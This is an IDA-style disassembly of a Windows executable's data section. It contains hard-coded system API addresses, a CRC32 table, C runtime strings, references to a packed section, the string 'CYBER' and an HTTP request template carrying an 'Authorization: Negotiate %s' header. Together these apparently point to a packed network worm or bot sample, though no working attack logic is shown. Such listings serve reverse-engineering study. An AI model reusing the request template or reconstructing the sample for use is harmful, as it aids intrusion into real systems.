dword_427054	dd 77E77405h		; DATA XREF: sub_422ACA+5Er
					; sub_422ACA+A7r ...
dword_427058	dd 77F522F2h		; DATA XREF: sub_422608+58r
dword_42705C	dd 77E6D706h		; DATA XREF: sub_4210AC+215r
					; sub_4268D9+2Er
dword_427060	dd 77E6C703h		; DATA XREF: sub_420042+1Ar
dword_427064	dd 77E75CB5h		; DATA XREF: sub_40111D+DFr
					; sub_401221+7Ar ...
dword_427068	dd 77E77963h		; DATA XREF: sub_40111D+B8r
					; sub_401221+2DBr ...
dword_42706C	dd 77E61BB8h		; DATA XREF: sub_40111D+A7r
					; sub_401221+2C3r ...
dword_427070	dd 77E7A099h		; DATA XREF: sub_40111D+83r
					; sub_401221+DAr ...
dword_427074	dd 77E704FCh		; DATA XREF: sub_40111D+74r
					; sub_401221+C4r ...
dword_427078	dd 77E61BE6h		; DATA XREF: sub_40111D+29r
					; sub_401221+1F4r ...
dword_42707C	dd 77E7AC37h		; DATA XREF: sub_401221+3C1r
					; sub_401ACD+7BBr ...
dword_427080	dd 77E73628h		; DATA XREF: sub_401221+33Br
					; sub_401ACD+7871r ...
dword_427084	dd 77E706B7h		; DATA XREF: sub_401221+274r
					; sub_417275+15r ...
dword_427088	dd 77E80656h		; DATA XREF: sub_401221+267r
dword_42708C	dd 77F5157Dh		; DATA XREF: sub_401221+1D8r
					; sub_401221+3E6r ...
dword_427090	dd 77E6BD13h		; DATA XREF: sub_401221:loc_4013DCr
dword_427094	dd 77E70396h		; DATA XREF: sub_401221+1B5r
					; sub_401221+221r ...
dword_427098	dd 77E74CABh		; DATA XREF: sub_401221+19Er
					; sub_40F6B3+110r ...
dword_42709C	dd 77E79F93h		; DATA XREF: sub_401221+D3r
					; sub_409B12+2r ...
dword_4270A0	dd 77E79D5Bh		; DATA XREF: sub_401221+6Br
					; sub_401221+311r ...
dword_4270A4	dd 77E7C2C4h		; DATA XREF: sub_401221+64r
dword_4270A8	dd 77E7751Ah		; DATA XREF: sub_401221+2Cr
					; sub_401ACD+2560r ...
dword_4270AC	dd 77E75CEBh		; DATA XREF: sub_401ACD+7AD7r
					; sub_40B231+2Br ...
dword_4270B0	dd 77E6AD34h		; DATA XREF: sub_401ACD+69ABr
					; sub_418359+35r
dword_4270B4	dd 77E71AFEh		; DATA XREF: sub_401ACD+6775r
dword_4270B8	dd 77E805D8h		; DATA XREF: sub_409B12+13Ar
					; sub_409B12:loc_40A020r ...
dword_4270BC	dd 77E7A5FDh		; DATA XREF: sub_409B12+11r
					; sub_416F1A+60r ...
dword_4270C0	dd 77E65F4Ch		; DATA XREF: .packed:0040ADF6r
					; sub_419593+34r
dword_4270C4	dd 77E7513Ch		; DATA XREF: .packed:0040AE8Dr
dword_4270C8	dd 77E7C657h		; DATA XREF: .packed:0040AF01r
					; sub_4184E1+32r ...
dword_4270CC	dd 77E73C49h		; DATA XREF: sub_40B161+4Ar
					; sub_40B8A1+1AFr ...
dword_4270D0	dd 77F7E300h		; DATA XREF: sub_40C124+142r
dword_4270D4	dd 77F7E21Fh		; DATA XREF: sub_40C124+D7r
dword_4270D8	dd 77E7C706h		; DATA XREF: sub_40C33C+77r
dword_4270DC	dd 77F53275h		; DATA XREF: sub_40C33C+6Br
					; sub_40C33C+22Fr
dword_4270E0	dd 77E79D8Ch		; DATA XREF: sub_40D8AD+94r
					; sub_40D99B+181r ...
dword_4270E4	dd 77E737DEh		; DATA XREF: sub_40D99B+43Ar
dword_4270E8	dd 77E78B82h		; DATA XREF: sub_40D99B+1A9r
					; sub_40D99B+499r ...
dword_4270EC	dd 77E7A837h		; DATA XREF: sub_40D99B+A7r
					; sub_40F6B3+1CBr ...
dword_4270F0	dd 77E616B4h		; DATA XREF: sub_40E503+19Br
					; sub_410CD5+115r ...
dword_4270F4	dd 77E79CE3h		; DATA XREF: sub_40E503+111r
					; sub_410F1F+77r ...
dword_4270F8	dd 77E79C90h		; DATA XREF: sub_40E503+FDr
					; sub_40E503+10Ar ...
dword_4270FC	dd 77E7727Ah		; DATA XREF: sub_40E503+74r
					; sub_410E26+23r ...
dword_427100	dd 77E64106h		; DATA XREF: sub_40F530+A0r
					; sub_41AA42+1B6r
dword_427104	dd 77E64006h		; DATA XREF: sub_40F530+8Cr
					; sub_41AA42+19Fr
dword_427108	dd 77E793EFh		; DATA XREF: sub_40F6B3+1F5r
					; sub_40FFF0+38r ...
dword_42710C	dd 77E78EAAh		; DATA XREF: sub_40F96A+5ECr
					; sub_416DC8+C0r ...
dword_427110	dd 77E79424h		; DATA XREF: sub_40F96A+280r
					; sub_417275+135r
dword_427114	dd 77E794BFh		; DATA XREF: sub_40F96A+272r
					; sub_417275+123r
dword_427118	dd 77E75E67h		; DATA XREF: sub_40F96A+212r
					; sub_40F96A+5DBr ...
dword_42711C	dd 77E78C81h		; DATA XREF: sub_40FFF0+6Cr
					; sub_415E1A+259r ...
dword_427120	dd 77E76968h		; DATA XREF: sub_410A4D+5Fr
dword_427124	dd 77E74C59h		; DATA XREF: sub_410CD5+C7r
dword_427128	dd 77EC7C51h		; DATA XREF: sub_4110AA+5Er
dword_42712C	dd 77E70F89h		; DATA XREF: sub_411C13+Er
					; sub_4151AC+Dr ...
dword_427130	dd 77E802FCh		; DATA XREF: sub_412B08+18Cr
					; sub_412B08+2D4r ...
dword_427134	dd 77E6D75Bh		; DATA XREF: sub_412B08+182r
					; sub_41386B+FFr
dword_427138	dd 77E80618h		; DATA XREF: sub_416F1A+170r
					; sub_4185A4+D4r
dword_42713C	dd 77E78147h		; DATA XREF: sub_416F1A+BCr
dword_427140	dd 77F51597h		; DATA XREF: sub_4170EC+41r
					; sub_4170EC+F5r ...
dword_427144	dd 77F516F8h		; DATA XREF: sub_4170EC+21r
					; sub_417275+4Ar ...
dword_427148	dd 77E77CB7h		; DATA XREF: sub_4170EC+10r
					; sub_417275+40r ...
dword_42714C	dd 77E7F01Ah		; DATA XREF: sub_417275+88r
					; sub_41741C+55r
dword_427150	dd 77E61A54h		; DATA XREF: sub_417275+56r
					; sub_41741C+97r
dword_427154	dd 77E7C3A5h		; DATA XREF: sub_417275+34r
					; sub_41741C+2Er
dword_427158	dd 77E76A60h		; DATA XREF: sub_41814C+2Dr
dword_42715C	dd 77E71B14h		; DATA XREF: sub_4181D6+26r
dword_427160	dd 77E7166Fh		; DATA XREF: sub_4181D6+1Dr
dword_427164	dd 77E75090h		; DATA XREF: sub_418211+69r
dword_427168	dd 77E74D76h		; DATA XREF: sub_418211+36r
dword_42716C	dd 77E77797h		; DATA XREF: sub_418211+25r
dword_427170	dd 77E7011Ah		; DATA XREF: sub_418293+96r
dword_427174	dd 77E73CE2h		; DATA XREF: sub_418293+60r
dword_427178	dd 77E668D9h		; DATA XREF: sub_418359+15Dr
dword_42717C	dd 77E79924h		; DATA XREF: sub_418B58+13r
					; sub_422ACA+20Dr ...
dword_427180	dd 77E77CCEh		; DATA XREF: sub_418C2A+Fr
					; sub_41D834+54r ...
dword_427184	dd 77E76A2Eh		; DATA XREF: sub_4196BC+DEr
dword_427188	dd 77E7FF65h		; DATA XREF: sub_419B0F+5Ar
dword_42718C	dd 77EB7624h		; DATA XREF: sub_419B0F+3Dr
dword_427190	dd 77E6C29Dh		; DATA XREF: sub_41A19D+1EBr
dword_427194	dd 77E76C1Ah		; DATA XREF: sub_41AA42+1CFr
dword_427198	dd 77F5722Fh		; DATA XREF: sub_41B202+110r
					; sub_41B202+22Dr ...
dword_42719C	dd 77F6183Eh		; DATA XREF: sub_42675Cr
dword_4271A0	dd 77E76E3Dh		; DATA XREF: sub_41D081+6Cr
					; sub_4247EC+38r
dword_4271A4	dd 77E61608h		; DATA XREF: sub_41D081+17r
dword_4271A8	dd 77E6177Ah		; DATA XREF: sub_41D933+9Fr
					; sub_423302+59r
dword_4271AC	dd 77E7C938h		; DATA XREF: sub_41D933+74r
dword_4271B0	dd 77E7C486h		; DATA XREF: sub_41D933+26r
dword_4271B4	dd 77E7AC5Eh		; DATA XREF: sub_41DC8A+54r
dword_4271B8	dd 77E76E0Bh		; DATA XREF: sub_41DDD2+50r
dword_4271BC	dd 77E7C726h		; DATA XREF: sub_41DDD2+11r
dword_4271C0	dd 77E79E34h		; DATA XREF: sub_41DEA2+240r
					; sub_41E976+120r ...
dword_4271C4	dd 77E7980Ah		; DATA XREF: sub_41E4D4+76r
					; sub_41E585+51r ...
dword_4271C8	dd 77E73196h		; DATA XREF: sub_42478C+Cr
dword_4271CC	dd 77E7849Fh		; DATA XREF: sub_41FEA9+48r
					; sub_4200E8+14r ...
dword_4271D0	dd 77E7A13Fh		; DATA XREF: sub_420042+2Fr
		align 8
dword_4271D8	dd 71B2ACCBh		; DATA XREF: sub_426750r
		align 10h
dword_4271E0	dd 71AB4122h		; DATA XREF: sub_414B45+D4r
dword_4271E4	dd 71AB1746h		; DATA XREF: sub_412660+1DEr
dword_4271E8	dd 71AB401Ch		; DATA XREF: sub_412660+21Br
					; sub_412660+243r
dword_4271EC	dd 71AB1836h		; DATA XREF: sub_40EFBE+6Er
					; sub_40F03B+8Er
dword_4271F0	dd 71AB41DAh		; DATA XREF: sub_40E991+4Ar
					; sub_40EFBE+15r
dword_4271F4	dd 71AB3F8Dh		; DATA XREF: sub_40E991+5Ar
dword_4271F8	dd 71AB155Ah		; DATA XREF: sub_40E991+8Dr
					; sub_4136C5+70r ...
dword_4271FC	dd 71AB3ECEh		; DATA XREF: sub_40E991+B5r
dword_427200	dd 71AB5DE2h		; DATA XREF: sub_40E991+C9r
dword_427204	dd 71AB868Dh		; DATA XREF: sub_40E991+171r
dword_427208	dd 71AB5A01h		; DATA XREF: sub_414C2E+20r
dword_42720C	dd 71AB12F8h		; DATA XREF: sub_40DEA0+27r
					; sub_40DFE2+27r ...
dword_427210	dd 71AB1746h		; DATA XREF: sub_40DEA0+36r
					; sub_40DFE2+36r ...
dword_427214	dd 71AB3E5Dh		; DATA XREF: sub_40DEA0+59r
					; sub_40DFE2+59r ...
dword_427218	dd 71AB5690h		; DATA XREF: sub_40DEA0+6Ar
					; sub_40DFE2+6Ar ...
dword_42721C	dd 71AB1A6Dh		; DATA XREF: sub_40DEA0+E0r
					; sub_40DFE2+E0r ...
dword_427220	dd 71AB3C22h		; DATA XREF: .packed:0040D388r
					; sub_40DEA0+45r ...
dword_427224	dd 71AB1AF4h		; DATA XREF: sub_40CFDE+12r
					; sub_40DEA0+C3r ...
dword_427228	dd 71AB1890h		; DATA XREF: sub_40CE40+4Cr
					; sub_40E991+106r
dword_42722C	dd 71AB1B7Bh		; DATA XREF: sub_426756r
dword_427230	dd 71AB157Eh		; DATA XREF: sub_401ACD+2FA8r
		align 8
dword_427238	dd 0			; DATA XREF: sub_401070+26r
		dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
aCyber		db 'CYBER',0            ; DATA XREF: sub_401ACD+347Co
					; sub_401ACD+356Co ...
		align 10h
aCyber_0	db 'CYBER',0            ; DATA XREF: sub_401ACD+389Co
					; sub_401ACD+38D2o ...
		align 4
aGetHttp1_0Host	db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D21E+62o
		db 'Host: %s',0Dh,0Ah
		db 'Authorization: Negotiate %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 8
dbl_427688	dq 1.388888888888889e-2	; DATA XREF: sub_40D030+2Fr
dbl_427690	dq 1.666666666666667e-1	; DATA XREF: sub_40D030+15r
dword_427698	dd 0FFFFFFFFh		; DATA XREF: sub_40D07C+16Fr
					; sub_40D4B0r ...
		align 10h
dbl_4276A0	dq 1.333333333333333	; DATA XREF: sub_40D07C+79r
dword_4276A8	dd 0			; DATA XREF: sub_40D21E+4Do
					; sub_40D560+5Bo ...
flt_4276AC	dd 5.0e-1		; DATA XREF: sub_40D99B+398r
dbl_4276B0	dq 9.765625e-4		; DATA XREF: sub_4163F9+2BDr
					; sub_4163F9+2D8r ...
dbl_4276B8	dq -1.52587890625e-4	; DATA XREF: sub_417ADD+3E5r
dbl_4276C0	dq 3.0517578125e-4	; DATA XREF: sub_417ADD+3C5r
dbl_4276C8	dq -3.0517578125e-4	; DATA XREF: sub_417ADD+342r
					; sub_417ADD+3A7r
dbl_4276D0	dq 1.52587890625e-4	; DATA XREF: sub_417ADD+271r
dbl_4276D8	dq -1.739501953125e-3	; DATA XREF: sub_417ADD+24Br
					; sub_417ADD+2D5r ...
dbl_4276E0	dq 3.11279296875e-3	; DATA XREF: sub_417ADD+E1r
dbl_4276E8	dq 3.0517578125e-5	; DATA XREF: sub_417ADD+AEr
					; sub_417ADD+138r ...
dbl_4276F0	dq 6.103515625e-5	; DATA XREF: sub_417ADD+93r
					; sub_417ADD+308r
dbl_4276F8	dq 2.288818359375e-3	; DATA XREF: sub_417ADD+21r
dbl_427700	dq -3.0517578125e-5	; DATA XREF: sub_418684+2Br
flt_427708	dd 9.765625e-4		; DATA XREF: sub_41A4D1+1B0r
flt_42770C	dd 8.0			; DATA XREF: sub_41A4D1+1AAr
flt_427710	dd 0.0			; DATA XREF: sub_41A4D1+171r
flt_427714	dd 1.0e-3		; DATA XREF: sub_41A4D1+168r
dbl_427718	dq 1.0			; DATA XREF: sub_41C679+6Cr
					; sub_41C7BF+6Cr ...
dword_427720	dd 0FFFFFFFFh, 41DA0Ah,	41DA1Eh	; DATA XREF: sub_41D933+5o
a__global_heap_	db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: sub_41DC8A+8Eo
		align 4
a__msvcrt_heap_	db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: sub_41DC8A+4Fo
		align 4
byte_42775C	db 6			; DATA XREF: sub_41F69F:loc_41F6F6r
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aNull:					; DATA XREF: .packed:off_43CBD4o
		unicode	0, <(null)>,0
		align 4
aNull_0		db '(null)',0           ; DATA XREF: .packed:off_43CBD0o
		align 10h
a_yn		db '_yn',0
a_y1		db '_y1',0
a_y0		db '_y0',0
aFrexp		db 'frexp',0
		align 4
aFmod		db 'fmod',0
		align 4
a_hypot		db '_hypot',0
		align 4
a_cabs		db '_cabs',0
		align 4
aLdexp		db 'ldexp',0
		align 4
aModf		db 'modf',0
		align 4
aFabs		db 'fabs',0
		align 4
aFloor		db 'floor',0
		align 4
aCeil		db 'ceil',0
		align 4
aTan		db 'tan',0
aCos		db 'cos',0
aSin		db 'sin',0
aSqrt		db 'sqrt',0
		align 4
aAtan2		db 'atan2',0
		align 10h
aAtan		db 'atan',0
		align 4
aAcos		db 'acos',0
		align 10h
aAsin		db 'asin',0
		align 4
aTanh		db 'tanh',0
		align 10h
aCosh		db 'cosh',0
		align 4
aSinh		db 'sinh',0
		align 10h
aLog10		db 'log10',0
		align 4
aPow		db 'pow',0
aExp		db 'exp',0              ; DATA XREF: .packed:off_43CE4Co
dbl_427880	dq 0.0			; DATA XREF: sub_42135F+8Cr
					; sub_42135F+ACr ...
dbl_427888	dq 4.195835e6		; DATA XREF: sub_421874+Fr
dbl_427890	dq 3.145727e6		; DATA XREF: sub_421874+6r
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_4218B2+Fo
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_4218B2o
		align 10h
aE000		db 'e+000',0            ; DATA XREF: sub_4219D9+93o
		align 4
dword_4278C8	dd 0FFFFFFFFh, 4220C4h,	4220CEh, 0 ; DATA XREF:	sub_42205D+5o
dword_4278D8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_42218C+5o
		dd offset loc_42224A
		align 8
		dd offset sub_422228
		dd offset sub_422232
dword_4278F0	dd 0FFFFFFFFh, 42247Ah,	42247Eh, 0 ; DATA XREF:	sub_4222C2+5o
dword_427900	dd 0FFFFFFFFh, 4224DCh,	4224E5h, 0 ; DATA XREF:	sub_422486+5o
dword_427910	dd 0FFFFFFFFh, 0	; DATA XREF: sub_42255C+5o
		dd offset loc_4225AD
		align 10h
		dd offset loc_422599
		dd offset loc_42259D
dword_427928	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4225B2+5o
		dd offset loc_422603
		align 8
		dd offset loc_4225EF
		dd offset loc_4225F3
dword_427940	dd 2 dup(0)		; DATA XREF: sub_422ACA+36o
					; sub_423CEC+39o ...
dword_427948	dd 0FFFFFFFFh, 422BDAh,	422BDEh, 0FFFFFFFFh, 422C8Eh, 422C92h
					; DATA XREF: sub_422ACA+5o
		dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
		dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
		dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
		dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
		dd 65682065h, 0A0D7061h, 0
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 10h
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 4
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 10h
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 4
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 4
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 4
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 4
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 10h
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: .packed:off_43D01Co
		db '- floating point not loaded',0Dh,0Ah,0
		align 4
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_4235C9+119o
		align 10h
asc_427C10	db 0Ah			; DATA XREF: sub_4235C9+F1o
		db 0Ah,0
		align 4
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_4235C9+D3o
		db 0Ah
		db 'Program: ',0
		align 10h
a___		db '...',0              ; DATA XREF: sub_4235C9+BFo
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_4235C9+7Do
		align 10h
dword_427C50	dd 0FFFFFFFFh, 423DE5h,	423DE9h	; DATA XREF: sub_423CEC+5o
aSunmontuewedth	db 'SunMonTueWedThuFriSat',0
		align 4
aJanfebmaraprma	db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
		align 4
aTz		db 'TZ',0               ; DATA XREF: sub_4247EC+Ao
		align 10h
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_424D78+3Do
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_424D78+35o
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_424D78+24o
a1Qnan		db '1#QNAN',0           ; DATA XREF: sub_4256C2:loc_4257B7o
		align 4
a1Inf		db '1#INF',0            ; DATA XREF: sub_4256C2+D8o
		align 10h
a1Ind		db '1#IND',0            ; DATA XREF: sub_4256C2+C7o
		align 4
a1Snan		db '1#SNAN',0           ; DATA XREF: sub_4256C2+ADo
		align 10h
dword_427CF0	dd 0FFFFFFFFh, 4260BAh,	4260BEh, 0FFFFFFFFh, 426129h, 42612Dh
					; DATA XREF: sub_425F03+5o
		dd 427E2Ch
off_427D0C	dd offset loc_4264E2	; DATA XREF: sub_4264BA+8o
					; sub_4264FE+2Co ...
		dd offset sub_4264D5
		dd offset sub_4266F6
		dd offset dword_427E78
off_427D1C	dd offset sub_42654C	; DATA XREF: sub_4264FE+3Ao
					; sub_426568o ...
		dd offset sub_4264D5
		dd offset loc_426732
dword_427D28	dd 0			; DATA XREF: sub_4264FE+16o
					; sub_4265D0+16o
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_426573+11o
		dd offset dword_427EC4
off_427D48	dd offset sub_42665B	; DATA XREF: sub_426677o
					; sub_42669A+37o ...
		dd offset sub_4264D5
		dd offset loc_426714
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_42669A+11o
		dd offset dword_427F08
off_427D68	dd offset loc_4267F7	; DATA XREF: sub_4267E2o
					; .packed:off_43D744o ...
		dd offset dword_427F38
off_427D70	dd offset loc_426813	; DATA XREF: sub_42682F+8o
					; sub_42686C+8o ...
		dd offset sub_4268CC
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: sub_4268CC+7o
		align 10h
dword_427D90	dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF:	sub_4268D9+Eo
		dd 3, 19930520h, 2 dup(0)
dword_427DB0	dd 0FFFFFFFFh, 426A8Ah,	426A8Eh, 0FFFFFFFFh, 426B07h, 426B0Bh
					; DATA XREF: sub_426988+5o
dword_427DC8	dd 0FFFFFFFFh, 426CFFh,	426D03h, 0FFFFFFFFh, 426D5Ch, 426D60h
					; DATA XREF: sub_426C13+5o
		dd 43D744h, 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
off_427DF8	dd offset off_43D75C	; DATA XREF: .packed:00427E10o
					; .packed:00427E5Co ...
		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427DF8
		dd offset dword_427DC8+18h
dword_427E18	dd 3 dup(0)		; DATA XREF: .packed:00427E3Co
		dd 2, 427E10h, 3 dup(0)
		dd offset off_43D75C
		dd offset dword_427E18+4
off_427E40	dd offset off_43D77C	; DATA XREF: .packed:00427E58o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427E40
		dd offset off_427DF8
		dd offset dword_427DC8+18h
		dd 0
		db    0			; DATA XREF: .packed:00427E88o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 3, 427E58h
dword_427E78	dd 3 dup(0)		; DATA XREF: .packed:00427D18o
		dd offset off_43D77C
		dd offset unk_427E68
off_427E8C	dd offset off_43D79C	; DATA XREF: .packed:00427EA4o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427E8C
		dd offset off_427DF8
		dd offset dword_427DC8+18h
dword_427EB0	dd 3 dup(0)		; DATA XREF: .packed:00427ED4o
		dd 3, 427EA4h
dword_427EC4	dd 3 dup(0)		; DATA XREF: .packed:00427D44o
		dd offset off_43D79C
		dd offset dword_427EB0+4
off_427ED8	dd offset off_43D7C0	; DATA XREF: .packed:00427EF0o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427ED8
		dd 0
		db    0			; DATA XREF: .packed:00427F18o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 1, 427EF0h
dword_427F08	dd 3 dup(0)		; DATA XREF: .packed:00427D64o
		dd offset off_43D7C0
		dd offset unk_427EF8
		dd offset dword_427DC8+18h
dword_427F20	dd 4 dup(0)		; DATA XREF: .packed:00427F48o
		dd 1, 427F1Ch
dword_427F38	dd 3 dup(0)		; DATA XREF: .packed:00427D6Co
		dd offset off_43D744
		dd offset dword_427F20+8
		align 10h
dword_427F50	dd 19930520h, 2, 427F70h, 5 dup(0) ; DATA XREF:	.packed:loc_426DF7o
		dd 0FFFFFFFFh, 426DE0h,	0
		dd offset sub_426DD8
dword_427F80	dd 19930520h, 2, 427FA0h, 5 dup(0) ; DATA XREF:	.packed:loc_426E14o
		dd 0FFFFFFFFh, 426E04h,	0
		dd offset loc_426E0C
dword_427FB0	dd 19930520h, 2, 427FD0h, 1, 427FE0h, 3	dup(0)
					; DATA XREF: .packed:loc_426E20o
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 427FF8h, 4	dup(0)
; ---------------------------------------------------------------------------
		retf	40D7h
; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 426E2Ah
dword_428010	dd 19930520h, 1, 428008h, 5 dup(0) ; DATA XREF:	.packed:loc_426E32o
		dd offset off_43D744
		align 8
		dd 0FFFFFFFFh, 0
